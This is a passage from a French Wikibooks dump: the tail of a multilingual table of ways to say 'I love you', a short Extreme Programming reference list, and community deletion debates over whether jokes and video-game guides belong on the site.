| |- bgcolor="#f3fff3" |[[w:arménien|arménien]] |yes kez si'rumem | | | |- bgcolor="#f3f5f3" |[[w:savoyard|arpitan savoyard]] |jhe t'âmo | | | |- bgcolor="#f3fff3" |[[w:assamais|assamais]] |moi tomak bhal pau | | | |- bgcolor="#f3f5f3" |[[w:autrichien|autrichien]] |i mog di | | | |- bgcolor="#f3fff3" |[[w:ayamara|ayamara]] |mûnsmawa | | | |- bgcolor="#f3f5f3" |[[w:azeri|azeri]] |sani souauram | | | |- bgcolor="#f3fff3" |[[w:bambara|bambara]] |né bi fè | | | |- bgcolor="#f3f5f3" |[[w:bari|bari]] |nan nyanyar do | | | |- bgcolor="#f3fff3" |[[w:bassa|bassa]] |mengweswe | | | |- bgcolor="#f3f5f3" |[[w:basque|basque]] |maite zaibatsu | | | |- bgcolor="#f3fff3" |[[w:batak|batak]] |holong rohangku di ho | | | |- bgcolor="#f3f5f3" |[[w:bavarois|bavarois]] |i mog di narrisch gern | | | |- bgcolor="#f3fff3" |[[w:bemba|bemba]] |nalikutemwa | | | |- bgcolor="#f3f5f3" |[[w:bengali|bengali]] |ami tomake walobashi | | | |- bgcolor="#f3fff3" |[[w:berbère|berbère]] |lakh tirikh | | | |- bgcolor="#f3f5f3" |[[w:bikol|bikol]] |namoumoutan ta ka | | | |- bgcolor="#f3fff3" |[[w:birman|birman]] |chi pa de | | | |- bgcolor="#f3f5f3" |[[w:bob|bobo]] |ma kia bé nà | | | |- bgcolor="#f3fff3" |[[w:bolivien|bolivien]] |qanta munani | | | |- bgcolor="#f3f5f3" |[[w:bosniaque|bosniaque]] |volim te | | | |- bgcolor="#f3fff3" |[[w:Brésil#Langue|brésilien]] |eu te amo<br>eu to adoro (''avec ardeur'') | | | |- bgcolor="#f3f5f3" |[[w:breton|breton]] |da garout a ran | | | |- bgcolor="#f3fff3" |[[w:bulgare|bulgare]] |obicham te | | | |- bgcolor="#f3f5f3" |[[w:bulu|bulu]] |ma nye'e wo | | | |- bgcolor="#f3fff3" |[[w:cajun|cajun]] |mi aime jou | | | |- bgcolor="#f3f5f3" |[[w:cambodgien|cambodgien]] |bon sro lanh oon | | | |- bgcolor="#f3fff3" |[[w:joual|canadien français (joual)]] |sh'teme / j't'aime | | | |- bgcolor="#f3f5f3" |[[w:cantonais|cantonais]] |ngo oi ney | | | |- bgcolor="#f3fff3" |[[w:catalan|catalan]] |t'estimo | | | |- bgcolor="#f3f5f3" |[[w:catalan|catalan de Majorque]] |t'estim | | | |- bgcolor="#f3fff3" |[[w:catalan|catalan de Valence]] |Et vull<br>T'estime | | | |- bgcolor="#f3f5f3" |[[w:cebuano|cebuano]] |gihigugmz ko ikaw | | | |- bgcolor="#f3fff3" |[[w:chamorou|chamorou]] |hu guaiya hao | | | |- bgcolor="#f3f5f3" |[[w:cherokee|cherokee]] |aya gvgeyu'i nihi | | | |- bgcolor="#f3fff3" |[[w:cheyenne|cheyenne]] |nemehotates | | | |- bgcolor="#f3f5f3" |[[w:chchewas|chichewas]] |ndimakukonda | | | |- bgcolor="#f3fff3" |[[w:chickasaw|chickasaw]] |chiholloli | | | |- bgcolor="#f3f5f3" |[[w:chinois|chinois]] |wo ai ni (wǒ ài nǐ)<br>"tu me plais" : wo xihuan ni (wǒ xǐhuān nǐ) |我愛你 <br>我喜歡你 |/wo aï ni/<br>/wo çirwan ni/ | |- bgcolor="#f3fff3" |[[w:cinghalais|cinghalais]] |mama oyata adarei | | | |- bgcolor="#f3f5f3" |[[w:comorien|comorien]] |n' game handzo | | | |- bgcolor="#f3fff3" |[[w:congolais|congo (République du)]] |na lingui yo | | | |- bgcolor="#f3f5f3" |[[w:maori|cook, maori]] |kua ere au kia koe | | | |- bgcolor="#f3fff3" |[[w:coréen|coréen]] |saranghee | | | |- bgcolor="#f3f5f3" |[[w:corse|corse]] |ti tengu cara (''à une femme'')<br>ti tengu caru (''à un homme'') | | | |- bgcolor="#f3fff3" |[[w:créole antillais|créole antillais]] |men ainmainw | | | |- bgcolor="#f3f5f3" |[[w:créole haïtien|créole haïtien]] |muwen renmen' ou | | | |- bgcolor="#f3fff3" |[[w:créole mauricien|créole mauricien]] |go kontan toi | | | |- bgcolor="#f3f5f3" |[[w:créole réunionnais|créole réunionnais]] |aime a ou | | | |- bgcolor="#f3fff3" |[[w:croate|croate]] |volim te | | | |- bgcolor="#f3f5f3" |[[w:danois|danois]] |jeg elsker dig | | | |- bgcolor="#f3fff3" |[[w:davvi semegiella|davvi semegiella]] |mun rahkistin dù | | | |- bgcolor="#f3f5f3" |[[w:douala|douala]] |muléma | | | |- bgcolor="#f3fff3" |[[w:dusun|dusun]] |siuhang oku dia | | | |- bgcolor="#f3f5f3" |[[w:écossais|écossais]] |Tha gra dh agam ort | | | |- bgcolor="#f3fff3" |{{espagnol}} |Te quiero<br>Te amo | | | |- bgcolor="#f3f5f3" |[[w:esperanto|esperanto]] |mi amas vin (''entre autres possibilités'') | | | |- bgcolor="#f3fff3" |[[w:eskimo|eskimo]] |Nagligivget | | | |- bgcolor="#f3f5f3" |[[w:estonien|estonien]] |Ma armastan sind | | | |- bgcolor="#f3fff3" |[[w:éthiopien|éthiopien]] |Afgreki' | | | |- bgcolor="#f3f5f3" |[[w:ewondo|ewondo]] |Ma ngdinng wo | | | |- bgcolor="#f3fff3" |[[w:farsi|farsi]] |Asheghetam | | | |- bgcolor="#f3f5f3" |[[w:finnois|finnois]] |Rakastan sua | | | |- bgcolor="#f3fff3" |[[w:flamand|flamand]] |Ik houd van jou | | | |- bgcolor="#f3f5f3" |[[w:français|français]] |Je t'aime | | | |- bgcolor="#f3f5f3" |[[w:frisien|frisien]] |Ik hou fan dei | | | |- bgcolor="#f3fff3" |[[w:galicien|galicien]] |Amote | | | |- bgcolor="#f3f5f3" |[[w:gaélique|gaélique]] |Moo graugh hoo | | | |- bgcolor="#f3fff3" |[[w:gallois|gallois]] |Rwy'n dy garu di | | | |- bgcolor="#f3f5f3" |[[w:géorgien|géorgien]] |Mé chén mikhvarkhar | | | |- bgcolor="#f3fff3" |[[w:ghanéen|ghanéen]] |Me dor wo | | | |- bgcolor="#f3f5f3" |[[w:grec|grec]] |S'agapo | | | |- bgcolor="#f3fff3" |[[w:grec ancien|grec ancien]] |Philo se | | | |- bgcolor="#f3f5f3" |[[w:gröenlandais|gröenlandais]] |Asavakit | | | |- bgcolor="#f3fff3" |[[w:gronings|gronings]] |Ik hol van die | | | |- bgcolor="#f3f5f3" |[[w:guarani|guarani]] |Rohiyu | | | |- bgcolor="#f3fff3" |[[w:gujrati|gujrati]] |Hoon tuney chaoon chhoon | | | |- bgcolor="#f3f5f3" |[[w:hausa|hausa]] |Ina sonki | | | |- bgcolor="#f3fff3" |[[w:hawaïen|hawaïen]] |Aloha wau ia 'oe | | | |- bgcolor="#f3f5f3" |[[w:hébreux|hébreux]] |Ani ohev otah' (''homme vers femme'')<br>ani ohev oth'a (''homme vers homme'')<br>ani ohevet oth'a (''femme vers homme'')<br>ani ohevet otah' (''femme vers femme'') | | | |- bgcolor="#f3fff3" |[[w:hindi|hindi]] |Mai tumase pyar karata hoon (''à une femme'')<br>mai tumase pyar karati hoon (''à un homme'') | | | |- bgcolor="#f3f5f3" |[[w:hindi kannada|hindi kannada]] |Naanu ninnannu premisuththene | | | |- bgcolor="#f3fff3" |[[w:hmong|hmong]] |Kuv hlub kov | | | |- bgcolor="#f3f5f3" |[[w:hokkien|hokkien]] |Wa ai lu | | | |- bgcolor="#f3fff3" |[[w:hongrois|hongrois]] |Szeretlek | | | |- bgcolor="#f3f5f3" |[[w:hopi|hopi]] |Nu umi unangw'ta | | | |- bgcolor="#f3fff3" |[[w:ibaloi|ibaloi]] |Pip-piyan taha | | | |- bgcolor="#f3f5f3" |[[w:icetot|icetot]] |Tsamia bi | | | |- bgcolor="#f3fff3" |[[w:île de paques|île de paques]] |Kua here au kia koe | | | |- bgcolor="#f3f5f3" |[[w:ilocano|ilocano]] |Ay ayating ka | | | |- bgcolor="#f3fff3" |[[w:imazighan|imazighan]] |Halagh kem | | | |- bgcolor="#f3f5f3" |[[w:indonésien|indonésien]] |Saya cinta padamu | | | |- bgcolor="#f3fff3" |[[w:interglossa|interglossa]] |Mi esthe philo tu | | | |- bgcolor="#f3f5f3" |[[w:inuit|inuit]] |Ounakrodiwakit | | | |- bgcolor="#f3fff3" |[[w:irlandais|irlandais]] |Taim i' ngra leat | | | |- bgcolor="#f3f5f3" |[[w:iroquois mingo|iroquois mingo]] |Konnuonhkwa' | | | |- bgcolor="#f3fff3" |[[w:islandais|islandais]] |Eg elska þig | | | |- bgcolor="#f3f5f3" |{{italien}} |Ti amo <br>Ti voglio bene (''plutôt utilisé dans le cadre d'une forte amitié'') | | | |- bgcolor="#f3fff3" |[[w:japonais|japonais]] |Ai shithe imasu <br>Anata ga suki desu (''tu me plais'') | | | |- bgcolor="#f3f5f3" |[[w:javanais|javanais]] |Kulo tresno | | | |- bgcolor="#f3fff3" |[[w:kabyle|kabyle]] |Hemlar kem (''à une femme'')<br>Hemlark (''à un homme'') | | | |- bgcolor="#f3f5f3" |[[w:kankana-ey|kankana-ey]] |Laylaydek sik-a | | | |- bgcolor="#f3fff3" |[[w:kekchi|kekchi]] |Nactinra | | | |- bgcolor="#f3f5f3" |[[w:kikongo|kikongo]] |Mono ke zola nge | | | |- bgcolor="#f3fff3" |[[w:kinyarwanda|kinyarwanda]] |Ndagukunda | | | |- bgcolor="#f3f5f3" |[[w:kiswahili|kiswahili]] |Nakupenda | | | |- bgcolor="#f3fff3" |[[w:kpele|kpele]] |Iwalikana | | | |- bgcolor="#f3f5f3" |[[w:kurde|kurde]] |min te xylose<br>Min te xushvet | | | |- bgcolor="#f3fff3" |[[w:laotien|laotien]] |Khoi huk chau | | | |- bgcolor="#f3f5f3" |[[w:kari|kari]] |Ni kou zololo | | | |- bgcolor="#f3fff3" |[[w:latin|latin]] |Te amo | | | |- bgcolor="#f3f5f3" |[[w:latvien|latvien]] |Es tevi mil | | | |- bgcolor="#f3fff3" |[[w:libanais|libanais]] |Bahibak | | | |- bgcolor="#f3f5f3" |[[w:ligurien|ligurien]] |Mi te amu | | | |- bgcolor="#f3fff3" |[[w:lingala|lingala]] |Nalingi yo | | | |- bgcolor="#f3f5f3" |[[w:lithuanien|lithuanien]] |Tave myliu | | | |- bgcolor="#f3fff3" |[[w:lisboète|lisboète]] |Gramo-te bue' chavalinha | | | |- bgcolor="#f3f5f3" |[[w:luo|luo]] |Aheri | | | |- bgcolor="#f3fff3" |[[w:luxembourgeois|luxembourgeois]] |Ech hun dech gär | | | |- bgcolor="#f3f5f3" |[[w:maa|maa]] |Ilolenge | | | |- bgcolor="#f3fff3" |[[w:macédonien|macédonien]] |Te ljubam | | | |- bgcolor="#f3f5f3" |[[w:madrilène|madrilène]] |Me molas tronca | | | |- bgcolor="#f3fff3" |[[w:malgache|malgache]] |Tiako iano | | | |- bgcolor="#f3f5f3" |[[w:malais/bahasa|malais/bahasa]] |Saya cinta mu | | | |- bgcolor="#f3fff3" |[[w:malais/indonésien|malais/indonésien]] |Aku sayangkau | | | |- bgcolor="#f3f5f3" |[[w:maltais|maltais]] |In Hobbok | | | |- bgcolor="#f3fff3" |[[w:manouche (romani)|manouche (romani)]] |Kamo tut (archaïque)<br>Kamao tut (moderne) | | | |- bgcolor="#f3f5f3" |[[w:malayalam|malayalam]] |Ngan ninne snaehikkunnu | | | |- bgcolor="#f3fff3" |[[w:marathi|marathi]] |Me tujhashi premkarto (''à une femme'')<br>Me tujhashi prem karte (''à un homme'') | | | |- bgcolor="#f3f5f3" |[[w:marocain|marocain]] |Kanhebek | | | |- bgcolor="#f3fff3" |[[w:marshallais|marshallais]] |Yokwe Yuk | | | |- bgcolor="#f3f5f3" |[[w:mongol|mongol]] |Be Chamad Hairtai | | | |- bgcolor="#f3fff3" |[[w:mohawk|mohawk]] |Konoronhkwa | | | |- bgcolor="#f3f5f3" |[[w:mokilese|mokilese]] |Ngoah mweoku kaua | | | |- bgcolor="#f3fff3" |[[w:moyi|moyi]] |Gakakayo | | | |- bgcolor="#f3f5f3" |[[w:munukutuba|munukutuba]] |mu zola mgé | | | |- bgcolor="#f3fff3" |[[w:nahuatl|nahuatl]] |Ni mitz tla-zo-tla | | | |- bgcolor="#f3f5f3" |[[w:navajo|navajo]] |Ayor anosh'ni | | | |- bgcolor="#f3fff3" |[[w:ndebele|ndebele]] |Niyakutanda | | | |- bgcolor="#f3f5f3" |[[w:néerlandais|néerlandais]] |Ik hou van jou | | | |- bgcolor="#f3fff3" |[[w:népalais|népalais]] |ma timi sita prem garchhu | | | |- bgcolor="#f3f5f3" |[[w:niçois|niçois]] |Ti vouòli ben | | | |- bgcolor="#f3fff3" |[[w:nigérien|nigérien]] |Èg bani | | | |- bgcolor="#f3f5f3" |[[w:norvégien|norvégien]] |Jeg elsker deg | | | |- bgcolor="#f3fff3" |[[w:nyanja|nyanja]] |Ninatemba | | | |- bgcolor="#f3f5f3" |[[w:occitan|occitan]] |Que t'aimi<br>T'aimi | | | |- bgcolor="#f3fff3" |[[w:oriya|oriya]] |Moon Tumakoo Bhala Paye | | | |- bgcolor="#f3f5f3" |[[w:oromoo|oromoo]] |Sinjaldha | | | |- bgcolor="#f3fff3" |[[w:ossetien|ossetien]] |Aez dae warzyn | | | |- bgcolor="#f3f5f3" |[[w:ourdou|ourdou]] |Kam prem kartahai | | | |- bgcolor="#f3fff3" |[[w:ouzbek|ouzbek]] |Man seni sevaman | | | |- bgcolor="#f3f5f3" |[[w:pakistanais|pakistanais]] |Muje se mu habbat hai<br>Muje stumse mahabbat hai | | | |- bgcolor="#f3fff3" |[[w:pampangang|pampangang]] |Kaluguran daka | | | |- bgcolor="#f3f5f3" |[[w:papiamento|papiamento]] |Mi ta stimábo | | | |- bgcolor="#f3fff3" |[[w:pedi|pedi]] |Kiyahurata | | | |- bgcolor="#f3f5f3" |[[w:perse|perse]] |Doustete daram | | | |- bgcolor="#f3fff3" |[[w:peul|peul]] |Mbe de yid ma | | | |- bgcolor="#f3f5f3" |[[w:philippin|philippin]] |Iniibig Kita | | | |- bgcolor="#f3fff3" |[[w:picard|picard]] |Ej t'ei kier | | | |- bgcolor="#f3f5f3" |[[w:poitevin|poitevin]] |I t'aeme | | | |- bgcolor="#f3fff3" |[[w:polonais|polonais]] |Kocham Cię | | | |- bgcolor="#f3f5f3" |[[w:portugais|portugais]] |Eu te amo | | | |- bgcolor="#f3fff3" |[[w:provençal|provençal]] |T'ame | | | |- bgcolor="#f3f5f3" |[[w:punja|punja]] |Main tainu pyar karna | | | |- bgcolor="#f3fff3" |[[w:pushto|pushto]] |Mu'ng jane' | | | |- bgcolor="#f3f5f3" |[[w:romanche|romanche]] |Eu ta n'ha gugent | | | |- bgcolor="#f3fff3" |[[w:roumain|roumain]] |Te iubesc | | | |- bgcolor="#f3f5f3" |[[w:russe|russe]] |Ljublju tebja | | | |- bgcolor="#f3f5f3" |[[w:toupouri|tupuri]] |Ndi damo | | | |- bgcolor="#f3fff3" |[[w:sheklais|shekland]] |Ej glück tuy (amitié)<br>Ej ellyoß hyfarb (amour) | | | |- bgcolor="#f3f5f3" |[[w:|]] | | | | |- bgcolor="#f3fff3" |[[w:|]] | | | | |} == Sources == * Frank Lalou, ''Bréviaire du voyageur amoureux'', Éd. Alternatives (2002) == Voir aussi == * [[w:Dictionnaire des langues|Dictionnaire des langues]] sur Wikipédia [[Catégorie:Dire dans le monde|Je t'aime]] Programmation XP Références 5789 24742 2005-11-02T12:53:57Z 132.149.107.65 Ajout table des matieres {{Programmation XP}} == Les sites == * [http://www.extremeprogramming.org/ eXtremeProgramming.org] : le site officiel (anglais) == Les livres == * [http://www.oreilly.fr/catalogue/2841773582.html Extreme Programming - précis & concis] ; * [http://www.eyrolles.com/Informatique/Theme/100/developpement-dapplications/modelisation-et-genie-logiciel/methodes-agiles/extreme-programming-xp.php eXtreme Programming (XP)] : sélection autour d'XP chez [http://www.eyrolles.com/ Eyrolles]. Wikilivres:Pages à supprimer/archives/blagues 5791 40644 2006-04-21T14:47:05Z Greudin 1 [[Wikilivres:Pages à supprimer/blagues]] déplacé vers [[Wikilivres:Pages à supprimer/archives/blagues]]: cloture Ce n'est en aucun cas pédagogique, cela n'a donc rien à faire sur Wikilivres. [[Utilisateur:Guillaumito|Guillaumito]] 26 avr 2005 à 17:38 (UTC) d'un autre cotés il y a un jokebook dans wikibook. bon il est un peu moins "gore" que celui en francais.--[[Utilisateur:M4RC0|M4RC0]] 26 avr 2005 à 18:51 (UTC) *'''Garder''' comme pour l'exemple anglophone [[w:en:jokebook]], cela peut faire le sujet d'un wikilivre. [[Utilisateur:Greudin|Greudin]] *'''à conserver''' ce n'est en effet pas pédagogique mais il existe de nombreux livres sur le sujet [[Utilisateur:VIGNERON|VIGNERON]] 20 mai 2005 à 12:07 (UTC) *'''a conserver''' : "Le signe le plus évident d'un cancer social... c'est la disparition du sens de l'humour. Aucune dictature n'a toléré le sens de l'humour. Lisez l'Histoire et vous verrez." Edward Albee Franklin "L'humour a toujours été contre le pouvoir, quel que soit le régime." Coluche * '''Supprimer''' D'accord avec Guillaumito. En plus, c'est sexiste. [[Utilisateur:Yann|Yann]] 5 jun 2005 à 15:26 (UTC) ** '''Neutre''' (ça va finir par etre une habitude) On revient sur '''les objectifs de wikibooks'''. Je suis plus ou moins contre les blagues sexistes, ça vehicule une mauvaise image de la femme pourtant c'est drole. Mais on ne peut pas rire aux blagues sur les femmes sans rire des femmes... enfin je me comprends. S'il s'agissait que des blagues sexiste je suis '''pour''' leur suppression.[[Utilisateur:Aneglus|Aneglus]] * '''Supprimer'''. [[Utilisateur:Caton|Caton]] 22 jul 2005 à 06:46 (UTC) Que fait-on ? Je viens de restaurer un effacement car le vote n'est pas tranché. [[Utilisateur:Greudin|Greudin]] 2 aoû 2005 à 07:09 (UTC) * '''à conserver mais''' en réorganisant le livre : le ranger en pages ou chapitres avec des éventuels avertissements comme « attention cette page contient des blagues sexistes », etc. comme c'est le cas sur le Jokebook anglais. Et puis il y a des blagues vraiment bonnes (sans être ni sexistes ni gores…) qui valent la peine d'être écrites dans un wikilivre. Après je ne sais pas si il y a réellement un intérêt pédagogique. Par contre si on ne laisse que des blagues sexistes ça ne sert à rien de laisser cette page... --[[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 2 aoû 2005 à 09:45 (UTC) ::Si on garde cette page, je propose de lancer un débat sur ce que peut contenir Wikibooks, parce que, actuellement, il n'y a rien de clair. [[Utilisateur:Caton|Caton]] 14 sep 2005 à 08:56 (UTC) * ''' à conserver''' Il existe bien des livres de blagues, alors pourquoi pas un wikilivre ? [[Utilisateur:Pfv2|Pfv2]] 21 sep 2005 à 19:51 (UTC) * Wikibooks existe pour proposer des textes pédagogiques. Ces blagues ne peuvent pas '''EN AUCUN CAS''' rentrer dans cet objectif. En conséquence, elles doivent être supprimées. En plus, ça ne respecte pas une autre règle fondamentale, le point de vue neutre. [[Utilisateur:Yann|Yann]] 25 novembre 2005 à 20:42 (UTC) Wikilivres:Pages à supprimer/jeu vidéo 5792 40649 2006-04-21T14:52:37Z Greudin 1 màj '''Ce n'est pas pédagogique !''' <small>Non mais c'est vrai, faut peut être arrêter au bout d'un moment... sinon, je vais vraiment déprimer.</small> [[Utilisateur:Guillaumito|Guillaumito]] 8 jun 2005 à 21:58 (UTC) Ce qui inclut : * [[Dungeon Keeper]] * [[Marathon]] * [[Monkey Island]] * [[Prince of Persia]] * [[Solution, truc et astuce de jeu vidéo]] :*'''garder''' .. pourquoi les wikilivre doivent forcement être pédagogiques ? je prend la page d'acceuil de wikibook "Welcome to Wikibooks, a collection of open-content textbooks that anyone can edit." je vois pas où cela doit être pédagogique .. pour moi wikilivre est de proposer des livres "libres" écrient à plusieurs.--[[Utilisateur:M4RC0|M4RC0]] 9 jun 2005 à 09:40 (UTC) :: On est ici sur Wikilivres, la version française de Wikibooks, et si tu prend la page d'accueil française : « Wikilivres est un ensemble de textes pédagogiques... » [[Utilisateur:Guillaumito|Guillaumito]] 9 jun 2005 à 11:10 (UTC) :'''Garder''', d'accord avec M4RC0, il faudrait reformuler la phrase de l'accueil pour s'aligner sur le concept wikibooks. [[Utilisateur:Greudin|Greudin]] :: Très bien, vous vous alignerez donc sans moi... le concept de livres à contenu pédagogique, qui était celui de Wikilivres, m'intéressait ; pas une collection de tout et de n'importe quoi. La direction prise par Wikilivres et par ses (quelques) participants me désespère. De plus, je continue de soutenir que les seuls livres acceptés devraient être pédagogiques, le slogan de Wikibooks est « Think free. Learn free », pas « All possible books on all possible subjects ». De même le wiki anglais parle de « textbooks » (manuels) pas de « books » (livres). Mais puisque la majorité l'emporte est qu'il semble que je sois seul à penser ainsi, je vais donc arrêter l'« aventure » Wikilivres ici et vous laisser partir dans la direction que vous souhaitez. [[Utilisateur:Guillaumito|Guillaumito]] 9 jun 2005 à 11:39 (UTC) :::Ben je te comprends, je suis passablement d'accord avec toi, mais je crois que WikiLivre est de proposer une alternative libre au livre dit "classique" comme wikipedia est une alternative libre d'une encyclopedie. Des bouquins de solutions de jeux cela existe (et accessoirement cela coûte fort cher). Le wikilivre de cuisine n'a rien de pédagogique (enfin je crois..). le bouquin sur GTK en pascal non plus (au pire c'est une liste de toute les instructions possibles). Pour autant je crois pas que l'on veuille les effacer non.le slogan de Wikibooks est « Think free. Learn free », pas « All possible books on all possible subjects » c'est très pertinent pourtant quand tu regardes la liste de livre sur wikibook c'est un peu le cas --[[Utilisateur:M4RC0|M4RC0]] 9 jun 2005 à 13:29 (UTC) :'''neutre''', je ne peut pas être objectif, y participant de temps en temps. En fait ces articles on été déplacé de Wikipédia car le contenu n'est clairement pas encyclopédique. On a donc décidé de déplacer des articles toutes les astuces se trouvant dans les page de jeu vidéo en imitant nos homologues anglais. Ne participant pas réellement a wikibooks, je ne connais pas bien vos critères, mais le grossissement de cette partie la rendra surement plus proche d'un véritable livre sur les trucs et astuces de jeu vidéo. :Je pense vraiment que ca ne vaut pas le coups de s'inquiéter sur la "tournure des evenements", le seul véritable problème serai que les articles d'un même thème ne soit pas relié entre eux, ou pas catégorisé ! d'autre par, ca ne remet pas en question la qualité du contenu existant sur wikilivres, et celui qui n'ai pas intéressé par le jeu vidéo ne s'aventurera jamais dans ces pages non pédagogique. Ce serai vraiment dommage de partir sur un coup de tête ! [[Utilisateur:Bayo|Bayo]] 9 jun 2005 à 17:43 (UTC) :'''garder''', je ne vois pas d'ailleurs en quoi une définition étendue du but de Wikilivres limite sa capacité à accueillir des contenus pédagogique. Moi aussi j'y participe -ou je prévois de participer-, et je suis plus ou moins responsable de l'état actuel des choses, vu que c'est moi qui ait fait connaître l'initiative des anglophones sur le sujet, mais sincèrement, je ne vois pas où est le problème. Dans la mesure où, évidemment, les contenus vont vers le format "guide".--[[Utilisateur:Bloodstained Agar|Bloodstained Agar]] 10 jun 2005 à 05:56 (UTC) :'''garder''', ces articles sont là parce qu'ils n'ont pas leur place sur wikipedia. Sur le wikibook anglais il y a bien une catégorie jeu vidéo et il n'y a pas de problème : [[:en:Computer and video games bookshelf]]. --[[Utilisateur:W'rkncacnter|W'rkncacnter]] 10 jun 2005 à 16:16 (UTC) :: Bien... ils n'ont pas non plus leur place sur Wikilivres... mais c'est pas grave, devant une telle défaite je vais me taire... et je me pose des questions sur votre compréhension de l'objectif de Wikilivres, mais j'ai surement tort... continuez à produire vos excellentes livres pédagogiques sur les blagues de maternelle, sur les jeux vidéos ou sur n'importe quelle autre hors-sujet, maintenant je m'en fous... [[Utilisateur:Guillaumito|Guillaumito]] 11 jun 2005 à 08:36 (UTC) :::'''neutre''' Il est '''urgent''' de mettre au clair les objectifs de wikibooks.org et non pas uniquement fr.wikibooks.org, ce wiki fait parti d'un tout, des wikibooks et plus généralement de wikimedia. Peut être que les contributeurs de en.wikibooks.org commentent une erreur en créant des livres qui ne sont pas a but purement pédagogique dans ce cas il faut les prévenir, Errare Humanum est, mais quand même !! Si tous les livres doivent être pédagogique qu'elle est la spécificité de la wikiuniversite ? C'est vrai que le livre de cuisine n'est pas vraiment aussi pédagogique qu'un livre de mathématiques, mais il est quand meme plus utile qu'un livre de solutions de jeux vidéo. Pourtant je ne suis pas contre cette idée de livre de solution de jeux vidéo. ''Ce qui me choque pourtant le plus c'est la réaction de Guillaumito''. Une sorte de perturbation dans force si vous voyez ce que je veux dire. Restons unis et sereins, discutons.[[Utilisateur:Aneglus|Aneglus]] :::: ho... ne t'inquietes pas, je ne suis pas passé du coté obscur... je ne vais pas me mettre à abuser de mes « pouvoirs » d'administrateur, je suis juste extrémement déçu, je croyais beaucoup en Wikilivres comme support pédagogique et à ce qu'il semble je suis le seul. Tu parles d'être unis, vous semblez l'être, je suis le seul dissident et je ne suis pas sur d'avoir envie de discuter de ça encore longtemps. Donc, comme je l'ai déja dit, faites ce que vous voulez, déplacez tous les Wikilivres pédagogiques dans une catégorie spéciale et, à terme, supprimez les, ça n'intéresse personne de toutes façons ; ensuite concentrez vous sur l'essentiel : les jeux vidéos et les blagues... [[Utilisateur:Guillaumito|Guillaumito]] 12 jun 2005 à 20:44 (UTC) :::::Donc d'après ce raisonnement s'il y a un bouquin des blagues de Carlos dans une bibliothèque, l'intégralité de celle ci n'a plus d'intérêt ? Pfff... Et ce n'est pas une question de choix (remplir les meubles de livre de blague empêche de mettre de "meilleurs" livres, mais ce problème n'existe pas sur Wikibooks)!--[[Utilisateur:Markadet|Markadet]] 13 jun 2005 à 18:57 (UTC) :'''garder''' pour les raisons évoquée (entre autre) par Bayo. Mais peut être [[Utilisateur:Guillaumito|Guillaumito]] n'a t'il pas tort : il faudrait peut être créer des divisions (pages, catégories ou portail) et isoler le contenu véritablement pédagogique (pourquoi ne pas faire par exemple un "portail: Ouvrage pédagogique" ?). --[[Utilisateur:Markadet|Markadet]] 11 jun 2005 à 22:59 (UTC) :'''garder''' car cela est tout de même très informatif et exact. ::Il existe une ébauche de [[wikiversité]], inspirée de la [[:en:wikiversity]], ce sont des livres pédagogiques pour adultes, andragogiques donc :) [[Utilisateur:Greudin|Greudin]] :'''garder''' [[Utilisateur:Samaty|Samaty]] 12 jul 2005 à 01:53 (UTC) Bon ca fait 7 '"pour", 2 "neutre" et 1 "contre". On peut peut-être retirer les bandeau maintenant, non ? (ça fait plus d'un mois que ca reste en plan cette affaire) --[[Utilisateur:W'rkncacnter|W'rkncacnter]] 13 jul 2005 à 09:40 (UTC) À mon avis, ce qui compte n'est pas le vote, mais de ce demander si ça peut avoir un intérêt pédagogique ou pas. Personne ici n'a la possibilité de modifier les objectifs de Wikibooks (quelque soit la langue) qui sont des livres pédagogiques. Pour info, '''Textbook''' veut dire '''livres pédagogiques''', et rien d'autre. :On peut aussi se rappeler de la définition de pédagogique ? Oui les recettes de cuisines peuvent donner de la connaissance et de la culture (et utile en plus), oui un ouvrage technique sur le fonctionnement de la première batterie au plomb peut intéresser pédagogiquement. Mais cette batterie ne sera plus utilisée, et certaines recettes de sardines-au-thon-épicées-avec-des-épinards ne doivent pas être concoctées souvent. Des trucs et astuces sur les jeux vidéo n'intéressent que très peu ceux qui n'y ont pas passé des dizaines d'heures (voire des centaines) pendant leur adolescence (ou avant ou après). :Il n'y a pas que l'idée culturelle et utile dans le mot pédagogique, il y a aussi l'idée de mémoire, les blagues de Carlos sont elles dignes de figurer dans une encyclopédie ? De nos jours on s'en rappelle mais dans 100 ans ? qui pourra nous les raconter ? :p :Et puis '''qui peut le plus, peut le moins''', on peut mettre en tout petit sur la page d'accueil : <small>[[Recueil_de_blagues_du_XXIème_siècle]]</small> je suis sur que ça intéressera les apprentis humoristes du XXIIème siècle. :[[Utilisateur:82.249.154.86|82.249.154.86]] 22 jul 2005 à 02:33 (UTC) ::C'est beau 82.249.154.* j'adhère. [[Utilisateur:Greudin|Greudin]] * '''Supprimer'''. [[Utilisateur:Caton|Caton]] 22 jul 2005 à 06:47 (UTC) *'''garder''' [[Utilisateur:Nataraja|Nataraja]] 2 aoû 2005 à 10:08 (UTC) *'''garder''' [[Utilisateur:zulul|zulul]] 2 aoû 2005 à 10:08 (UTC) : c'est bien de pouvoir recolter le plus d'info possible sur tout, le wiki c'est l'universalité mes bon peut-être que d'autre cat wiki serait plus orientée vers se genre de sujet... sinon, on va vers le foutoir * '''Supprimer''' c'est une encyclopédie wikipedia (comme l'indique son nom) a-t-on déjà vu dans une encyclopédie des codes pour un jeu ? non... en plus des liens commerciaux sont donnés! * '''Garder''' il est clair que wikipédia n'est pas une encyclopédie comme les autres, mais c'est vrai que les liens commerciaux doivent être supprimés. [[Utilisateur:YolanC|YolanC]] 21 aoû 2005 à 21:29 (UTC) De même que plus haut : si nous gardons cette page, nous devons redéfinir Wikibooks : un ensemble de livres pédagogiques, ou un site où l'on entasse tout et n'importe quoi ? [[Utilisateur:Caton|Caton]] 14 sep 2005 à 09:00 (UTC) :J'ai trouvé [[:en:Grand Theft Auto: San Andreas|ça]] sur le Wikibooks anglophone, je trouve que c'est plutôt bien fait. Il n'a pas d'équivalent en français. À mon avis ça prouve qu'il n'y a pas que le côté scolaire dans Wikibooks. [[Utilisateur:YolanC|YolanC]] 19 sep 2005 à 00:05 (UTC) ::Cela peut simplement prouver qu'il y a des livres sur en: qui ne devraient pas y être. [[Utilisateur:Marc|Marc]] 19 sep 2005 à 07:51 (UTC) ::: Je ne suis pas d'accord que tout "wikilivre" devrait être pédagogique. Il serait même intéressant, de voir des "wiki-romans" voir le jour. Il devrait y avoir des biographie, des histoires pour enfants, qui n'ont rien de pédagogique.. [[Utilisateur:Pfv2|Pfv2]] 25 sep 2005 à 18:16 (UTC) ::::La question est de savoir 